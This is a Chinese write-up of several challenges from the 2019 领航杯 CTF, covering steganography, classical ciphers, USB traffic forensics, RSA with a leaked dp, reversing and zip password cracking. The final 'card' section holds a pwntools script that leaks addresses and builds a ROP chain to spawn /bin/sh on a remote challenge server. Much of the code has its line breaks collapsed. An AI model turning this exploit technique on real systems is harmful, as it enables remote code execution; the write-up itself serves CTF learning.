关于2019领航杯部分wp

队友的wp
两天前参加了领航杯,奋斗了24小时,做出了十几题。

第一题签到题

base64解码

第三题steganoI

一个简单的隐写,可以用strings查看他的信息

第四题stegano

使用binwalk产看其中隐藏一个zip,解压出得到flag

第五题Lsb

使用stegano图片三色素,查看红色三号通道查看到一段英文,即为flag

忘了哪一题

解压完之后把flag.exe后缀改成txt
发现是个base64的图片格式
开头加上<image src=”
结尾加上”>
把flag.txt改成flag.html,打开之后发现张图片

用WinHex打开,flag在末尾

第八题凯撒I

用的是CTF资源库的工具列举所有,得出flag

第九题凯撒

直接贴出代码:

miwen="0B 33 33 28 20 2E 33 26 70 20 3D 33 39 20 37 33 30 3A 29 28 20 33 32 29 20 31 33 36 29 20 27 2C 25 30 30 29 32 2B 29 20 2D 32 20 3D 33 39 36 20 2E 33 39 36 32 29 3D 72 20 18 2C 2D 37 20 33 32 29 20 3B 25 37 20 2A 25 2D 36 30 3D 20 29 25 37 3D 20 38 33 20 27 36 25 27 2F 72 20 1B 25 37 32 6B 38 20 2D 38 03 20 75 76 7C 20 2F 29 3D 37 20 2D 37 20 25 20 35 39 2D 38 29 20 37 31 25 30 30 20 2F 29 3D 37 34 25 27 29 70 20 37 33 20 2D 38 20 37 2C 33 39 30 28 32 6B 38 20 2C 25 3A 29 20 38 25 2F 29 32 20 3D 33 39 20 38 33 33 20 30 33 32 2B 20 38 33 20 28 29 27 36 3D 34 38 20 38 2C 2D 37 20 31 29 37 37 25 2B 29 72 20 1B 29 30 30 20 28 33 32 29 70 20 3D 33 39 36 20 37 33 30 39 38 2D 33 32 20 2D 37 20 31 25 37 37 32 34 2A 33 25 37 26 37 72"list1=miwen.split(' ')
mingwen=""
sign=Truefor j in xrange(1,128):for i in list1:mingwen=mingwen+chr((int(i,16)+j)%128)for i in mingwen:if ord(i)>126 or ord(i)<33:sign=Falsebreakif sign:print mingwenprint jmingwen=""sign=True

第十题ascii

第十一题forensics

因为world可以用压缩包进行解压查看其中的文件。将pngdecode.docx更改为pngdecode.zip,在其下面进行查找,在/word/media/中发现两张图片,其中有一张感觉像,交了一下试试,成功了。

第十二题Usb

分析数据包,看到usb,分析,不是鼠标就是键盘之类的
使用wireshark的tshark工具进行分析

tshark -r u.pcapng -T fields -e usb.capdata > usbdata.txt

发现是八字节,判定到鼠标键盘
详情
附上脚本

#!/usr/bin/env pythonfrom PIL import Image
import ctypeswidth = 2048
height = 2048
img = Image.new("RGB", (width, height))red = (0, 0, 0) # Skipping Right Mouse Btn, its not needed at all
green = (0, 255, 0)
blue = (0, 0, 255)
default = (0, 0, 0)colormap = {0: red,1: green,2: blue
}
x = width/2
y = height/2with open('mouse_clicks.txt') as f:for line in f:bytes = map(lambda v: int('0x'+v, 16), line.split(":"))b0, b1, b2, b3 = bytes# byte0: 0==LBM, 1=RBM, 2=MBMcolor = colormap.get(b0, default)# byte1: X displacementx_dis  = ctypes.c_int8(b1).value# byte2: Y displacementy_dis = ctypes.c_int8(b2).valuex = x + x_disy = y + y_dis#print "line = ", line, "bytes =", bytes, x, yimg.putpixel((x, y), color)img.save("image.png")

flag得出

第十三题OldCypher-Easy

古典密码维吉尼亚,在线跑到 Vigenere密码

得到结果既出flag

第十四题MasterofZip-Middle

一道结合社工,明文攻击,未加密的题目
题目:小明喜欢用自己的手机号来加密zip,我们通过社工只查到了他手机号的前三位为199,你能解开这个压缩包吗?(手机号为伪造手机号,请不要试图拨打或社工)
压缩包有一个level1.zip对其进行爆破
一般手机号为十一位,我们设置爆破范围19900000000-19999999999,对其压缩包进行爆破,得到密钥19950453796(手机号为伪造手机号,请不要试图拨打或社工)(手机号为伪造手机号,请不要试图拨打或社工)(手机号为伪造手机号,请不要试图拨打或社工)

之后里面又有另一个level2.zip,提示:Please notice that the telephone number in level1 is a fake one, do not try to call it.
我去,接着发现两Readme.txt的crc相同,对他进行爆破
得到第三个level3的zip,zip伪加密(工具评论区),这个我是试的,不知道哪位师傅可以进行下详解
解压获得图片,更改其高度就可以了

第十五题数据包分析

找到flag.php 右键追踪数据流

第十七题Easyrsa

rsa的密文

import gmpy2
import libnum
e=65537
n=16969752165509132627630266968748854330340701692125427619559836488350298234735571480353078614975580378467355952333755313935516513773552163392952656321490268452556604858966899956242107008410558657924344295651939297328007932245741660910510032969527598266270511004857674534802203387399678231880894252328431133224653544948661283777645985028207609526654816645155558915197745062569124587412378716049814040670665079480055644873470756602993387261939566958806296599782943460141582045150971031211218617091283284118573714029266331227327398724265170352646794068702789645980810005549376399535110820052472419846801809110186557162127
dp=1781625775291028870269685257521108090329543012728705467782546913951537642623621769246441122189948671374990946405164459867410646825591310622618379116284293794090970292165263334749393009999335413089903796624326168039618287078192646490488534062803960418790874890435529393047389228718835244370645215187358081805
c=0x6c78dcee37830f3ec4ab4989d40fbb595060b3fbc395d52ad26defc13372c1a3948c5388f4e450e46e016c7803133d6881e5efc3b90a4789448097c94124590b1e7949f2524d7edccd61a27691c18d090ac1f54643b563141306045417581e3b263f4ad2816136a48b106f3058b08e2a810f4ae8ef25916cc110b41ac8158ce69ecbe20fc60c1ddb20154c6646bc5142aefe47abf053a8ac949d5bc057bb18b191ad08070fe9ec5d76b1fceae685514532448c1b388b2d38e7241ac19c296e95e4e021a3a4015d909a1d53a2eb7fa86f6329f4e6c937f958be576c58fab4d9c9126999c99bb28718efc41a6f5db52b47942a2ddf21639f020b5489699cf22b46Lfor i in range(1,65538):if (dp*e-1)%i == 0:if n%(((dp*e-1)//i)+1)==0:p=((dp*e-1)//i)+1q=n//(((dp*e-1)//i)+1)phi = (p-1)*(q-1)d = gmpy2.invert(e,phi)%phiprint libnum.n2s(pow(c,d,n))

第十六题Easyelf

脚本

key=[0x00000010,0x0000001A,0x00000017,0x00000011,0x0000000D,0x0000004F,0x00000073,0x0000005D,0x0000007A,0x00000070,0x00000029,0x0000004E,0x00000012,0x00000043,0x00000047,0x0000000E,
0x00000029,0x0000001A,0x00000042,0x00000013,0x00000012,0x00000029,0x00000013,0x00000045,0x00000007,0x00000019,0x00000001,0x00000028,0x00000023,0x00000018,0x0000000F,0x0000000B]
flag=""
v1 = 17;
i=30
while(v1<i):result = v1;if ( v1 >= i ):break;key[v1]=key[v1]^key[i]key[i]=key[v1]^key[i]key[v1]=(key[i]+1)^key[v1]i=i-1v1=v1+1i=11
for i in range(11,16):key[i] = ((key[i]& 0xCC) >> 2) | 4 *key[i] & 0xCC;key[i] ^= 0xE;
i=5
for i in range(5,10):key[i]=(key[i]&0xaa)>>1|2*key[i]&0xaakey[i]=key[i]^0xAD
i=0
for i in range(0,32):key[i]=key[i]^0x76flag=flag+chr(key[i])
print flag

第二十四题easyre

在其他找到了一段奇怪的密文,不知道什么编码,看字母分析出
flag{Let_Us_st4rt_R3v3rSe} 意:Let us start reverse

第二十七题card

原题

#!/usr/bin/python2
# -*- coding:utf-8 -*-from pwn import *
import os
import struct
import random
import time
import sys
import signalsalt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''def clear(signum=None, stack=None):print('Strip  all debugging information')os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))exit(0)for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: signal.signal(sig, clear)# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''#     '''#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './ace_of_spades'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
sh = remote('39.104.173.175', 45438)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')# Create temporary files for GDB debugging
try:gdbscript = '''b *$rebase(0x1268)'''f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')f.write(str(proc.pidof(sh)[0]))f.close()f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')f.write(gdbscript)f.close()
except Exception as e:passdef Draw(): sh.sendlineafter('Your choice: ', '1')
def Discard(): sh.sendlineafter('Your choice: ', '2')
def Fold(): sh.sendlineafter('Your choice: ', '5')
# def Play(): sh.sendlineafter('Your choice: ', '3')
def Show(): sh.sendlineafter('Your choice: ', '4')sh.recvuntil('Your hand is:\n')result = sh.recvuntil('\x20\n', drop=True)print(result)cards = result.split('\x20')visual_cards = []for v in cards:if(v == '\xf0\x9f\x82\xa1'):visual_cards += [100]else:visual_cards +=  [ord(v[3]) % 0x10]return visual_cardsamount = {100:1, 1:3, 14:4}while(True):for i in range(14):Draw()cards = Show()if(cards[8] == 1  and cards[7] not in amount.keys()):Discard()amount[cards[8]] += 1breakFold()for i in range(3):while(True):for i in range(14):Draw()cards = Show()if(cards[8] == 100  and cards[7] not in amount.keys()):Discard()amount[cards[8]] += 1breakFold()for i in range(40):while(True):for i in range(14):Draw()cards = Show()if(cards[8] in amount.keys() and cards[7] not in amount.keys()):Discard()amount[cards[8]] += 1breakFold()print(amount)while(True):for i in range(5):Draw()cards = Show()if(cards.count(1) == 1 and cards.count(14) == 1):breakFold()sh.sendlineafter('Your choice: ', '3') # Play
sh.recvuntil('Your prize: ')
result = sh.recvuntil('\n')
stack_addr = u32(result[:4])
log.success('stack_addr: ' + hex(stack_addr))
image_base_addr = u32(result[4: 4+4]) - 0x1355
log.success('image_base_addr: ' + hex(image_base_addr))sh.sendlineafter('Choose: ', '2')
layout = [0,image_base_addr + elf.plt['puts'],image_base_addr + 0x00000b24, # : pop ebp ; retimage_base_addr + elf.got['puts'],image_base_addr + 0x1094, # push 0 ; call readstack_addr - 4,0x100
]
sh.send(flat(layout))sh.sendlineafter('Your choice: ', '6')result = sh.recvuntil('\n', drop=True)
libc_addr = u32(result[:4]) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))layout = [libc_addr + libc.symbols['system'],libc_addr + libc.symbols['exit'],libc_addr + libc.search('/bin/sh\0').next(),0
]
sh.send(flat(layout))sh.interactive()
clear()
  1. List item

题目密码k697

#2019江苏领航杯部分wp相关推荐

  1. 湖湘杯2019两个密码题wp

    湖湘杯2019两个密码题wp   还是自己太菜的原因,这次湖湘杯只做出来4道题,然后5点的时候就放弃了去跟同学出去玩了,当时感觉进前50无望(这次湖湘杯py情况也很严重啊,可惜烽火台只报不封,挺恶心的 ...

  2. 2019领航杯write up

    2019领航杯write up 最近参加了领航杯,随便写点队伍做出来的题的write up 贴一下我队友的write up 他写的应该比我的详细 https://blog.csdn.net/qq_39 ...

  3. 2019 掘安杯 JACTF MISC WP

    2019 掘安杯 JACTF MISC Write up 前言 1.misc签到 2.so_easy 3.这是什么玩意儿 4.该死的温柔 5.小梳子,我永远只爱你一个人 6.贝斯家族三英战群魔 7.绝 ...

  4. 江苏工匠杯_unseping_wp

    目录 前言 原题地址 工具的准备 分析代码 整个代码流程 琐碎知识点 解题代码测试 重要思路及测试 ​总结 关键字:江苏工匠杯 unseping 攻防世界 ctf解题wp 前言 有好久没有做过ctf的 ...

  5. 2019湖湘杯 misc3 之miscmisc

    ** 2019湖湘杯 misc3 之miscmisc* 明文攻击 关于LSB图片隐写的解法 word字符隐藏显示 zip加密文件破解 作为CTF小白,对于CTF一如既往的热爱,一个人报名了今年的湖湘杯 ...

  6. 2020江苏省小学生计算机比赛,2020年“领航杯”江苏省中小学电脑制作活动暨首届人工智能大赛在苏州开幕...

    11月7日上午,2020年"领航杯"江苏省中小学电脑制作活动暨首届人工智能大赛在苏州开幕.省教育厅一级巡视员洪流.省教育厅基教处副处长殷雅竹.省电化教育馆馆长姚志化.苏州市教育局副 ...

  7. 华为杯数学建模优秀论文_【优秀论文】2019数维杯国际大学生数学建模竞赛B题优秀论文...

    推荐入群 2020数维杯国际赛参赛群13 2020数维杯国际大学生数学建模竞赛于2020年11月26日08:00(周四)-11月30日08:00(周一)进行,报名正在火热进行中,扫码了解详情或可直接报 ...

  8. 2019江苏高考作文_2019年关于现代组织的5大文章

    2019江苏高考作文 Opensource.com上的开放组织社区在2019年发表了50多篇文章.这是50多种新的,公开许可的资源,可帮助您探索开放原则改变我们在现代组织中工作,管理和领导方式的方式. ...

  9. 高教杯历年真题_喜报 | 2019“高教社”杯全国大学生数学建模竞赛获奖名单!...

    2019"高教社"杯全国大学生数学建模竞赛 获奖名单 华东理工大学获奖本科组一等奖2组,本科组二等奖3组,其中理学院学生共有4名学生参与获得一等奖,1人参与获得二等奖. 精选获奖名 ...

最新文章

  1. 1.1ASP.NET Web API 2入门
  2. 圣杯布局与双飞翼布局全解
  3. 2、SQL的基本书写规则
  4. mac 10.10 apache php,在Mac上10分钟搞定Apache服务器配置
  5. 树莓派Python编程指南--第一章(起航--启动和运行)
  6. Java入门系列-22-IO流
  7. mysql备份到带库_备份离线就必须上物理带库?
  8. 中国红+金牛|传统农历年新年新春海报稳妥设计方案!
  9. 删除linux分区后grub,删除Ubuntu分区后GRUB救援问题!
  10. R语言colorRampPalette函数-创建颜色梯度(渐变色)
  11. 《遗传算法原理及应用》笔记—绪论
  12. python orange3_Anaconda中安装Orange3脚本-完整版
  13. 爱的无常、当下、柔软
  14. JEESZ分布式框架简介---技术介绍文档
  15. 简单的Java视频播放器
  16. ASTER GDEM v3.0高程数据批量下载
  17. BC35 RAI功能应用
  18. 手把手教你如何微信公众号开发“翻译功能
  19. Oracle session active 和 inactive 状态 说明
  20. SQL Error: 904, SQLState: 42000

热门文章

  1. codevs 3290 华容道
  2. 结转损益时数量金额核算的会计科目出错怎么办?
  3. PRML 02 Introduction:贝叶斯概率
  4. uni-app原生app打包apk超详细超详细
  5. php服务器端验证失败,PHP 服务器端内部业务处理失败消息传递方式
  6. 艺术编程-技术之声第二期
  7. Oracle数据库----删除数据库
  8. 嘉兴桐乡考证培训-23年教资认定注意事项你知道吗?
  9. java jdk环境变量设置 win10_最新 JDK 14 WIN10版的安装及环境变量配置
  10. 你知道什么是STC89C52RC吗?